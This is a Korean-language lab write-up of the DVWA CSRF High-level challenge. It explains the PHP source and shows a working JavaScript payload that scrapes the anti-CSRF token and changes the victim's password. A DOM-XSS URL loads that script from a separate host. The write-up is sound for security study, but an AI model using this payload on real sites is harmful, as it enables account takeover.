상세 컨텐츠

본문 제목

DVWA : CSRF - High level

Vulnerability Assessment/Web Application

by DarkSoul.Story 2025. 1. 1. 18:20

본문

반응형
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요.

 

[ 환경 ]

DVWA v1.9
Burp Suite Community Edition v2024.11.2



1.  Source code analysis

[그림 1] High level source code

초기화 변수

$change = false;
$request_type = "html";
$return_message = "Request Failed";
  • $change : 비밀번호 변경이 가능 여부를 나타내는 플래그 변수. 초기값 : false
  • $request_type : 요청 유형을 저장. 기본값 : html
  • $return_message : 사용자에게 반환할 메시지. 초기값 : "Request Failed".

요청 유형 확인 (JSON 요청 처리)

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
  • $_SERVER['REQUEST_METHOD'] : 요청 method가 POST 인지를 확인한다.
  • $_SERVER['CONTENT_TYPE'] : 요청하는 CONTENT_TYPE 헤더가 "application/json"인지를 확인한다.
  • php://input'를 통해 요청 본문에서 JSON 데이터를 가져오며,  json_decode( )를 사용해 PHP 배열로 변환한다.
  • 요청이 JOSN 요청이면, $request_type을 "json"으로 설정한다.

JSON 요청의 필수 키 확인

if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
    array_key_exists("password_new", $data) &&
    array_key_exists("password_conf", $data) &&
    array_key_exists("Change", $data)) {
    $token = $_SERVER['HTTP_USER_TOKEN'];
    $pass_new = $data["password_new"];
    $pass_conf = $data["password_conf"];
    $change = true;
    }
  • JSON 요청 본문 ( $data )에 password_new, password_conf, Change 필드가 모두 존재해야 하며, 요청 헤더에 HTTP_USER_TOKEN 필드가 있어야 한다.
  • 토큰 ( $token ), 새 비밀번호( $pass_new ), 비밀번호 확인값 ( $pass_conf  )을 변수에 저장한다.
  • 조건이 모두 충족되면 $change를 true로 설정한다.

HTML 요청 처리

if (array_key_exists("user_token", $_REQUEST) &&
    array_key_exists("password_new", $_REQUEST) &&
    array_key_exists("password_conf", $_REQUEST) &&
    array_key_exists("Change", $_REQUEST)) {
    $token = $_REQUEST["user_token"];
    $pass_new = $_REQUEST["password_new"];
    $pass_conf = $_REQUEST["password_conf"];
    $change = true;
    }
  • HTML 요청인 경우 $_REQUEST에서 데이터를 가져오며, user_token, password_new, password_conf, Change 필드가 모두 존재해야 $change true로 설정한다.

비밀번호 변경 로직 (CSRF 토큰 검증)

f ($change) {
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
  • checkToken( ) 함수로 제출된 토큰( $token )과 세션 토큰 ( $_SESSION'session_token' ] )을 비교한다.
  • 토큰이 유효하지 않으면 index.php로 리디렉션 된다.

비밀번호 변경 로직 (비밀번호 검증 및 암호화)

if( $pass_new == $pass_conf ) {
     $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
     $pass_new = md5( $pass_new );
  • $pass_new와 $pass_conf가 동일한지 확인하고, 일치하지 않으면 에러 메시지가 출력된다.
  • mysqli_real_escape_string ( )로 SQL Injection 방지를 위해 비밀번호를 이스케이프 처리한다.
  •  md5(  )를 사용해 새 비밀번호를 암호화 한다.

비밀번호 변경 로직 (데이터베이스 업데이트)

$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );
  •  dvwaCurrentUser( ) 함수로 현재 로그인된 사용자 이름을 가져온다.
  • $insert를 통해 현재 사용자의 비밀번호를 업데이트하는 SQL 쿼리를 생성한다.
  • mysqli_query(  )를 통해 데이터베이스에 새 비밀번호를 저장한다.

응답 처리

if ($request_type == "json") {
   generateSessionToken();
   header ("Content-Type: application/json");
   print json_encode (array("Message" =>$return_message));
   exit;
  • JSON 요청인 경우 새 Anti-CSRF 토큰을 생성하고 응답 헤더를 Content-Type: application/json으로 설정한다.
  • 마지막으로 JSON 형식으로 메시지를 반환한다.

데이터베이스 연결 종료

mysqli_close($GLOBALS["___mysqli_ston"]);
  • 데이터베이스 연결을 종료한다.

새로운 Anti-CSRF 토큰 생성

generateSessionToken();
  • 새 Anti-CSRF 토큰을 생성하여 세션에 저장한다.

소스코드는 비밀번호 변경 요청을 처리하며, JSON 및 HTML 두 가지 요청 유형을 지원한다. 요청이 JSON 형식일 경우 JSON 응답을 반환하고, HTML 형식일 경우 사용자에게 HTML 메시지를 표시한다. Anti-CSRF 토큰 검증비밀번호 검증데이터베이스 업데이트 등의 보안 조치가 포함되어 있다.

2. Practical exercises

비밀번호 변경 페이지에서 요청 또는 페이지 새로 고침이 있을 때마다 Anti-CSRF 토큰 (user_token)이 다시 생성되는것을 확인할 수 있다. 이 매개변수의 값은 서버에 있는 값과 비교하여 유효성을 검사한다. 

[그림 2] Anti-CSRF 토큰 (user_token)

 

이를 해결하기 위해 XSS를 통해 JavaScript를 실행하여 토큰의 값을 가져온 다음 CSRF를 수행하여 비밀번호를 변경할 예정이다. 

user_token은  CSRF 비밀번호 변경 페이지에 대한 이전 GET 요청에서 얻으며, 이 user_token 추출하여 비밀번호를 변경하는 JS 코드를 작성하였다.

var theUrl = 'http://192.168.107.144/DVWA/vulnerabilities/csrf/';
var pass = 'test112';
var hacked = false;

// XMLHttpRequest 생성 함수
function createXmlHttpRequest() {
    if (window.XMLHttpRequest) {
        return new XMLHttpRequest();
    } else {
        return new ActiveXObject("Microsoft.XMLHTTP");
    }
}

// 첫 번째 요청으로 CSRF 토큰 가져오기
var xmlhttp = createXmlHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var text = xmlhttp.responseText;
        var regex = /user_token' value='(.*?)' \/>/;
        var match = text.match(regex);

        if (match && match[1]) {
            var token = match[1];
            var newUrl = 'http://192.168.107.144/DVWA/vulnerabilities/csrf/?password_new=' + pass + '&password_conf=' + pass + '&Change=Change&user_token=' + token;

            if (!hacked) {
                hacked = true;
                alert('Got token: ' + token);

                // 두 번째 요청으로 비밀번호 변경
                var hackRequest = createXmlHttpRequest();
                hackRequest.withCredentials = true;
                hackRequest.open("GET", newUrl, true);
                hackRequest.send();
            }
        } else {
            console.error('Token not found in response.');
        }
    }
};

xmlhttp.open("GET", theUrl, true);
xmlhttp.send();

 

코드의 진행 흐름은 아래와 같다.

1. CSRF 페이지(theUrl)로 GET 요청을 전송하여 HTML 응답을 받는다.
2. 응답에서 user_token 값을 추출한다.
3. 추출된 user_token과 함께 두 번째 요청을 보내 비밀번호를 변경한다.
4. 요청이 성공하면 사용자가 설정한 비밀번호(test112)로 변경된다.

 

이제 해당 JS 스크립트를 임의의 서버에 업로드 한 후 피해자가 이 JS 스크립트를 실행 하도록 유도한다. 여기서는 DOM  base XSS을 이용할 예정이며, 피해자가 아래 XSS 코드를 실행하면 스크립트가 토큰을 가져와 CSRF를 수행한다.

http://192.168.107.144/DVWA/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://192.168.107.135/DVWA-CSRF-High.js%22%3E%3C/script%3E

[그림 3] DOM base XSS 이용 CSRF 공격

 

Burp Suite로 해당 내용을 살펴보면 아래와 같이 확인할 수 있다. DOM  base XSS가 실행된 이후 브라우저는 자동으로 DVWA-CSRF-High.js 파일을 불러 오는것을 확인할 수 있다.

[그림 4] DVWA-CSRF-High.js 불러오기

 

이후 DVWA-CSRF-High.js가 정상적으로 실행되면 추출한 user_token를 이용하여, 비밀번호를 변경하는것을 확인할 수 있다.

[그림 5] 추출한 user_token값을 이용하여 자동으로 비밀번호 변경

반응형

관련글 더보기